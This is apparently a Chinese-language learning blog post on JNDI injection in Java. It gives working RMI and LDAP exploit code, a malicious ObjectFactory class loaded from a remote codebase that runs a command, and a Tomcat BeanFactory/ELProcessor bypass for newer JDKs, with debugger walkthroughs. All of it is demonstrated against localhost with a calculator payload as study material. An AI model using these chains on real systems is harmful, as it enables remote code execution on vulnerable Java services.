前言

开始JNDI的学习,一定要多敲敲代码啊(对自己说)
官方文档地址:课程:JNDI(Java™ 命名与目录接口>教程)概述

JNDI概念

JNDI是java命名与目录接口,一个名字对应一个java对象,也就是说一个字符串对应一个Java对象.
JNDI在jdk里面支持一下服务:

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • java远程调用(RMI)注册表
  • DNS服务

JNDI的利用方式与漏洞

JNDI在RMI中的利用

RMI服务端的接口类和实现类,和之前一样就可以.
重点改变的是使用JDNI的方式去绑定远程对象到注册中心,以及使用JDNI的方式去调用这个远程对象.

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.InitialContext;  
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIserver {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject());

}
}

客户端

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;  
import javax.naming.NamingException;

public class JNDIRMIclient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
IremoteObject lookup = (IremoteObject) initialContext.lookup("rmi://localhost:1099/remoteobject");
System.out.println(lookup.sayHello("Li"));
}
}

RMI的原生漏洞

image.png
这里去查询一个RMI服务(这个服务是我们可以利用的),如果这个服务是恶意的服务,那就会产生漏洞.
但是这个服务呢,它不是传统的JNDI注入漏洞(利用的是引用对象),它是一个RMI的原生漏洞(远程对象)(我们之前分析的)
具体可见:
image.png
我们在客户端下断点一直不如lookup,来看看会调用到哪里,也就是图上所述的RegistryContext
image.png
这里也就很明显了,调用的就是原生RMI的lookup

传统JNDI注入(结合RMI)

image.png
这以上是可储存在目录中的对象,而刚刚分析的RMI就是远程对象的一种.但是传统的JNDI注入是指可引用的对象.
引用对象的作用:主要就是进行一个封装,就比如我们要绑定一个自己的对象,但是我们的这个对象不满足以上5种的格式,这时候就需要利用引用对象使其满足.

image.png
这个具体的实现逻辑就是他会在工厂里面写一些代码逻辑,就在你查询或者调用它的时候就会执行这些代码逻辑.因为工厂的位置是我们可以控制的,所以传递一些恶意工厂的位置就会执行恶意的代码.

那么这时候我们就可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.naming.InitialContext;  
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIserver {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject());
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteobject", reference);

}
}

我们使用的TestRef类的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.naming.Context;  
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

// 1. 必须实现 ObjectFactory 接口
public class TestRef implements ObjectFactory {

public TestRef() throws IOException {
Runtime.getRuntime().exec("calc");
}

// 2. 必须重写这个方法,否则会因为不是抽象类且未实现方法而编译报错
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null; // 这里返回什么不重要,重点是接口类型要匹配
}
}

来执行恶意命令
image.png

分析

打断点调试到rmi原生调用的点,这里获取的是rmi上的ReferenceWrapper_stub对象
image.png
但是我们绑定的时候绑定的是一个reference对象,那么查的时候怎么就变了呢?我们就回头来看一下,bind的逻辑.

image.png
依旧是到绑定的地方,这里绑定的名字是没有改变的,但是对象被encodeObject了

image.png
这里的如果对象是reference的话,那就会封装为referenceWrapper

在回到客户端继续走
image.png
这里有一个decodeObject正好和前面的encode对应上了.

image.png
这里就是如果是referenceWrapper类就会变成reference,也就是我们刚开始传的.然后这里调用getObjectInstance这个方法,这里是一个静态的方法,到这里还没有进入到命令执行的方法里,所以具体的执行点是在这个静态的方法或者在向里,那么具体的执行就和容器无关了.也就是不只有RMI会出现这种漏洞.

image.png
然后到这边,从名字就可以看到,它的意思是从引用里获取工厂,步入

image.png
到这里就开始进行一个类加载

接着是进行一个本地的去寻找TestRef类,一般在本地是不会找到这个类的,所以不要将这个恶意类放到本地,也就是target里,放到外面的文件夹里,开启一个python服务。
如果放在本地,第一次肯定是能找到的,就用不到codebase了。但是如果不放本地,就找不到,还是要用到codebase

image.png
codebase看值也知道要用一个urlclassloader,来加载
image.png

image.png
到这里的loadclass,根据urlclassloader的url来找类,进行加载。

image.png
最后实例化执行

总结

前提:攻击者能够篡改rmi服务使其指向一个恶意的rmi服务

  1. 访问恶意rmi服务,获取到一个恶意的地址(存有恶意对象)
  2. 根据地址访问恶意对象
  3. 遭受到攻击

传统的JNDI注入(结合LDAP)

LDAP(轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的应用协议。
你可以把LDAP想象成一个专门为“读多写少”场景优化的、层级结构的“电子电话簿”或“企业通讯录”。它主要用于存储用户、计算机和其他资源的信息,并用于认证和授权。

在本地可以使用apache Directory Studio启动一个ldap服务
image.png

jndi的服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.naming.InitialContext;  
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIserver {
public static void main(String[] args) throws NamingException, RemoteException {
// Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject());
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", reference);

}
}

将要加载的类的位置填充到ldap的服务中
image.png

客户端

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;  
import javax.naming.NamingException;

public class JNDIRMIclient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
IremoteObject lookup = (IremoteObject) initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
// System.out.println(lookup.sayHello("Li"));
}
}

image.png
执行命令加载恶意类并执行命令

分析

前面的我们就不看了
image.png
调到这里和分析rmi的时候一样使用decodeObject方法获取地址,类名什么的对应服务端的encodeObject了。
然后
image.png
我们向这里跟
image.png
从引用里获取工厂,也就是恶意类
image.png
加载恶意类
image.png
实例化,触发

JNDI的高版本绕过方法

首先是针对RMI的在8u121之后rmi就不能够直接进行利用了。
因此,需要使用LDAP进行绕过,也就是从jdk8u121~jdk8u191 都是可以使用LDAP进行绕过的
但是jdk8u191之后,由于在类加载的过程中添加了对trustURLCodebase的值是否为true的判断,导致,我们无法直接加载codebase,所以也就无法进行urlclassloader。
image.png
具体的逻辑是在这里

绕过方法

使用本地Class作为Reference Factory

明确一点现在codebase是不能使用的,也就是不能进行urlclassloder,那么也就是我们写的url(位置)是用不了的,远程的既然用不了,就可以试一下本地的factory类。这个类要实现ObjectFactory这个接口。这里找到的是BeanFactory这个类。
依赖包是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>  
<dependency> <groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.63</version>
</dependency>
<dependency> <groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.63</version>
</dependency>
<dependency> <groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.63</version>
</dependency>
</dependencies>

然后就是使用beanfactory绕过的具体方法

服务端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.naming.ResourceRef;  

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIserver {
public static void main(String[] args) throws NamingException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject());
// Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));

initialContext.rebind("rmi://localhost:1099/RO", resourceRef);


}
}

具体解释一下

  1. Registry registry = LocateRegistry.createRegistry(1099); 启动一个注册中心

  2. 1
    2
    3
    4
    ResourceRef resourceRef = new ResourceRef( "javax.el.ELProcessor", // 1. 目标类名      null, "", "",
    true,
    "org.apache.naming.factory.BeanFactory",// 2. 工厂类名
    null );

    这一串代码的目的是:我们想欺骗 BeanFactory 帮我们在客户端本地创建一个 ELProcessor 对象,并执行恶意代码。

  3. resourceRef.add(new StringRefAddr("forceString", "x=eval")); : 如果你看到属性 x,不要去找 setX() 方法,而是强制去调用 eval() 方法

  4. resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')")); :给x赋上值,符合上述逻辑,在看到x是不会强制调用setx方法,而是会调用eval从而执行elProcessor.eval(“Runtime.getRuntime().exec(‘calc’)”)

  5. 最后就是bind
    总之,利用的恶意类是ELProcessor,我们使用BeanFactory给它一个属性,并强制更改属性被eval调用,值为恶意命令。

客户端
1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;  
import javax.naming.NamingException;

public class JNDIRMIclient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
IremoteObject lookup = (IremoteObject) initialContext.lookup("rmi://localhost:1099/RO");
// System.out.println(lookup.sayHello("Li"));
}
}

image.png

流程分析

image.png
从getObjectInstance开始入手
image.png
接着到getObjectFactoryFromReference
image.png
这里加载beanfactory类,然后强转为ObjectFactory,根据这一点,我们使用的本地类是要满足实现ObjectFactory接口的。
最后调回到第二个getObjectInstance
image.png
image.png
这里判断是否为ResourceRef类的实例
然后在经过一系列操作之后(这里不细看了),会调用到这里
image.png
会利用反射执行ELProccessor的eval方法,这里的值为
image.png
从而执行恶意命令

总结

jndi差不多就结束了,高版本的绕过还有很多,后面在补充吧。

参考

Java反序列化之JNDI学习 | Drunkbaby’s Blog
https://www.bilibili.com/video/BV1ct4y1h79t?t=1110.0